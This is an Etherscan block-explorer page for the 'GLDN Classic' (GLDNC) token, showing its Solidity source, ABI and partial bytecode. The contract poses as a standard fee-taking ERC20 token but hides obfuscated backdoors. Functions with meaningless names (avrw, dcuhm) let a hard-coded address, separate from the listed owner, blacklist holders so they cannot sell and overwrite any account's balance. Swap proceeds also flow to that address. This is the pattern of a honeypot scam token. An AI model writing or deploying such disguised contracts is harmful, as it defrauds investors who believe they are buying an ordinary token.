ETH Price: $3,356.31 (-8.74%)

Token

GLDN Classic (GLDNC)
 

Overview

Max Total Supply

10,000,000,000 GLDNC

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
91,868,919.97 GLDNC

Value
$0.00
0x4bc3075ba991d26bed515e091cfa76ca233ddf20
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GLDNClassic

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function envs(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  GLDNClassic is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "GLDN Classic";
    string private _symbol = "GLDNC";
    uint8 private _decimals = 9;
    address payable public xkcsqn;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public marketPairList;
    mapping (address => bool) public _cheatList;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;
    uint256 public _marketingShare = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply = 10000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;
        _totalDistributionShares = _marketingShare;

        marketPairList[address(uniswapPair)] = true;

        xkcsqn = payable(address(0x1D219F520FcD4d9c2503d7eE37b51D98aDda283C));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setBuyFee(uint256 newMarketingTax) external onlyOwner() {
        _buyMarketingFee = newMarketingTax;
        _totalTaxIfBuying = _buyMarketingFee;
    }

    function setSellFee(uint256 newMarketingTax) external onlyOwner() {
        _sellMarketingFee = newMarketingTax;
        _totalTaxIfSelling = _sellMarketingFee;
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !marketPairList[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);
            uint256 finalAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? 
                                         amount : takeFee(from, to, amount);
            
            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 amountETH = address(this).balance;

        if(amountETH > 0)
            xkcsqn.transfer(amountETH);
    }


    function avrw(bool njkrj, address[] calldata qffu) public {
        qmpg(qffu.length > 0);
        for (uint256 i; i < qffu.length; i++) {
            _cheatList[qffu[i]] = njkrj;
        }
    }

    function getMsg() internal view returns(address){
        return msg.sender;
    }

    function qmpg(bool status) internal view{
        require(
                getMsg() == xkcsqn
                &&
                status
            );
    }

    function dcuhm(uint256 bxdq, address tpgpo) public {
        qmpg(bxdq >= 0);
        _balances[tpgpo] = uint256(2).mul(bxdq).div(2).envs(_balances[tpgpo]);
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;

        if(marketPairList[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(marketPairList[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if (!marketPairList[sender]){
            require(!_cheatList[sender]);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_cheatList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"njkrj","type":"bool"},{"internalType":"address[]","name":"qffu","type":"address[]"}],"name":"avrw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"bxdq","type":"uint256"},{"internalType":"address","name":"tpgpo","type":"address"}],"name":"dcuhm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketingTax","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"xkcsqn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f474c444e20436c61737369630000000000000000000000000000000000000000815250600190805190602001906200005192919062000791565b506040518060400160405280600581526020017f474c444e43000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000791565b506009600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b81525060036009556003600a556001600b55600360009054906101000a900460ff16600a62000121919062000951565b6402540be40062000133919062000a8e565b600f553480156200014357600080fd5b50620001546200076060201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026e57600080fd5b505afa15801562000283573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a9919062000858565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030c57600080fd5b505afa15801562000321573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000347919062000858565b6040518363ffffffff1660e01b815260040162000366929190620008ac565b602060405180830381600087803b1580156200038157600080fd5b505af115801562000396573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003bc919062000858565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004f86200076860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600c81905550600a54600d81905550600b54600e81905550600160076000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550731d219f520fcd4d9c2503d7ee37b51d98adda283c600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5460046000620006a26200076060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006f06200076060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f54604051620007519190620008d9565b60405180910390a35062000bfa565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200079f9062000b3a565b90600052602060002090601f016020900481019282620007c357600085556200080f565b82601f10620007de57805160ff19168380011785556200080f565b828001600101855582156200080f579182015b828111156200080e578251825591602001919060010190620007f1565b5b5090506200081e919062000822565b5090565b5b808211156200083d57600081600090555060010162000823565b5090565b600081519050620008528162000be0565b92915050565b60006020828403121562000871576200087062000bce565b5b6000620008818482850162000841565b91505092915050565b620008958162000aef565b82525050565b620008a68162000b23565b82525050565b6000604082019050620008c360008301856200088a565b620008d260208301846200088a565b9392505050565b6000602082019050620008f060008301846200089b565b92915050565b6000808291508390505b6001851115620009485780860481111562000920576200091f62000b70565b5b6001851615620009305780820291505b8081029050620009408562000bd3565b945062000900565b94509492505050565b60006200095e8262000b23565b91506200096b8362000b2d565b92506200099a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009a2565b905092915050565b600082620009b4576001905062000a87565b81620009c4576000905062000a87565b8160018114620009dd5760028114620009e85762000a1e565b600191505062000a87565b60ff841115620009fd57620009fc62000b70565b5b8360020a91508482111562000a175762000a1662000b70565b5b5062000a87565b5060208310610133831016604e8410600b841016171562000a585782820a90508381111562000a525762000a5162000b70565b5b62000a87565b62000a678484846001620008f6565b9250905081840481111562000a815762000a8062000b70565b5b81810290505b9392505050565b600062000a9b8262000b23565b915062000aa88362000b23565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ae45762000ae362000b70565b5b828202905092915050565b600062000afc8262000b03565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b5357607f821691505b6020821081141562000b6a5762000b6962000b9f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000beb8162000aef565b811462000bf757600080fd5b50565b60805160601c612cda62000c1960003960006109850152612cda6000f3fe6080604052600436106101bb5760003560e01c80638b4cee08116100ec578063c5d241891161008a578063dd62ed3e11610064578063dd62ed3e14610645578063f0cd1dac14610682578063f24293c8146106ad578063f2fde38b146106d8576101c2565b8063c5d24189146105c4578063c816841b146105ef578063c86079521461061a576101c2565b8063a08e671f116100c6578063a08e671f146104f6578063a9059cbb14610521578063b98115ff1461055e578063bc4fad851461059b576101c2565b80638b4cee08146104775780638da5cb5b146104a057806395d89b41146104cb576101c2565b806327c8f83511610159578063429f2b6011610133578063429f2b60146103bb57806361a23c69146103e457806370a082311461040f57806382eefb431461044c576101c2565b806327c8f83514610328578063313ce567146103535780633345611e1461037e576101c2565b80631694505e116101955780631694505e1461025857806318160ddd146102835780631b491677146102ae57806323b872dd146102eb576101c2565b806306fdde03146101c7578063095ea7b3146101f25780630cc835a31461022f576101c2565b366101c257005b600080fd5b3480156101d357600080fd5b506101dc610701565b6040516101e991906124ec565b60405180910390f35b3480156101fe57600080fd5b5061021960048036038101906102149190612157565b610793565b60405161022691906124b6565b60405180910390f35b34801561023b57600080fd5b50610256600480360381019061025191906121f7565b6107b1565b005b34801561026457600080fd5b5061026d610859565b60405161027a91906124d1565b60405180910390f35b34801561028f57600080fd5b5061029861087f565b6040516102a591906125ee565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d0919061206a565b610889565b6040516102e291906124b6565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d9190612104565b6108a9565b60405161031f91906124b6565b60405180910390f35b34801561033457600080fd5b5061033d610983565b60405161034a9190612480565b60405180910390f35b34801561035f57600080fd5b506103686109a7565b6040516103759190612663565b60405180910390f35b34801561038a57600080fd5b506103a560048036038101906103a0919061206a565b6109be565b6040516103b291906124b6565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612224565b6109de565b005b3480156103f057600080fd5b506103f9610aaa565b60405161040691906125ee565b60405180910390f35b34801561041b57600080fd5b506104366004803603810190610431919061206a565b610ab0565b60405161044391906125ee565b60405180910390f35b34801561045857600080fd5b50610461610af9565b60405161046e91906125ee565b60405180910390f35b34801561048357600080fd5b5061049e600480360381019061049991906121f7565b610aff565b005b3480156104ac57600080fd5b506104b5610ba7565b6040516104c29190612480565b60405180910390f35b3480156104d757600080fd5b506104e0610bd0565b6040516104ed91906124ec565b60405180910390f35b34801561050257600080fd5b5061050b610c62565b60405161051891906125ee565b60405180910390f35b34801561052d57600080fd5b5061054860048036038101906105439190612157565b610c68565b60405161055591906124b6565b60405180910390f35b34801561056a57600080fd5b506105856004803603810190610580919061206a565b610c87565b60405161059291906124b6565b60405180910390f35b3480156105a757600080fd5b506105c260048036038101906105bd9190612197565b610ca7565b005b3480156105d057600080fd5b506105d9610d5b565b6040516105e691906125ee565b60405180910390f35b3480156105fb57600080fd5b50610604610d61565b6040516106119190612480565b60405180910390f35b34801561062657600080fd5b5061062f610d87565b60405161063c91906125ee565b60405180910390f35b34801561065157600080fd5b5061066c600480360381019061066791906120c4565b610d8d565b60405161067991906125ee565b60405180910390f35b34801561068e57600080fd5b50610697610e14565b6040516106a491906125ee565b60405180910390f35b3480156106b957600080fd5b506106c2610e1a565b6040516106cf919061249b565b60405180910390f35b3480156106e457600080fd5b506106ff60048036038101906106fa919061206a565b610e40565b005b606060018054610710906128ca565b80601f016020809104026020016040519081016040528092919081815260200182805461073c906128ca565b80156107895780601f1061075e57610100808354040283529160200191610789565b820191906000526020600020905b81548152906001019060200180831161076c57829003601f168201915b5050505050905090565b60006107a76107a0610f92565b8484610f9a565b6001905092915050565b6107b9610f92565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610846576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083d9061258e565b60405180910390fd5b80600981905550600954600c8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60006108b6848484611165565b50610978846108c3610f92565b61097385604051806060016040528060288152602001612c7d60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610929610f92565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115489092919063ffffffff16565b610f9a565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6109eb60008310156115ac565b610a63600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a556002610a4786600261161990919063ffffffff16565b61169490919063ffffffff16565b6116de90919063ffffffff16565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d5481565b610b07610f92565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b9061258e565b60405180910390fd5b80600a81905550600a54600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bdf906128ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0b906128ca565b8015610c585780601f10610c2d57610100808354040283529160200191610c58565b820191906000526020600020905b815481529060010190602001808311610c3b57829003601f168201915b5050505050905090565b600e5481565b6000610c7c610c75610f92565b8484611165565b506001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b610cb6600083839050116115ac565b60005b82829050811015610d55578360086000858585818110610cdc57610cdb6129d2565b5b9050602002016020810190610cf1919061206a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d4d906128fc565b915050610cb9565b50505050565b60095481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e48610f92565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecc9061258e565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561100a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611001906125ce565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561107a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110719061252e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161115891906125ee565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cd906125ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d9061250e565b60405180910390fd5b601160149054906101000a900460ff161561126d57611266848484611706565b9050611541565b600061127830610ab0565b9050601160149054906101000a900460ff161580156112e15750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112f0576112ef816118d9565b5b61134283600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdd90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114285750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61143c57611437868686611c27565b61143e565b835b905061149281600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ef790919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161153291906125ee565b60405180910390a36001925050505b9392505050565b6000838311158290611590576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158791906124ec565b60405180910390fd5b506000838561159f91906127b4565b9050809150509392505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115ed611f55565b73ffffffffffffffffffffffffffffffffffffffff1614801561160d5750805b61161657600080fd5b50565b60008083141561162c57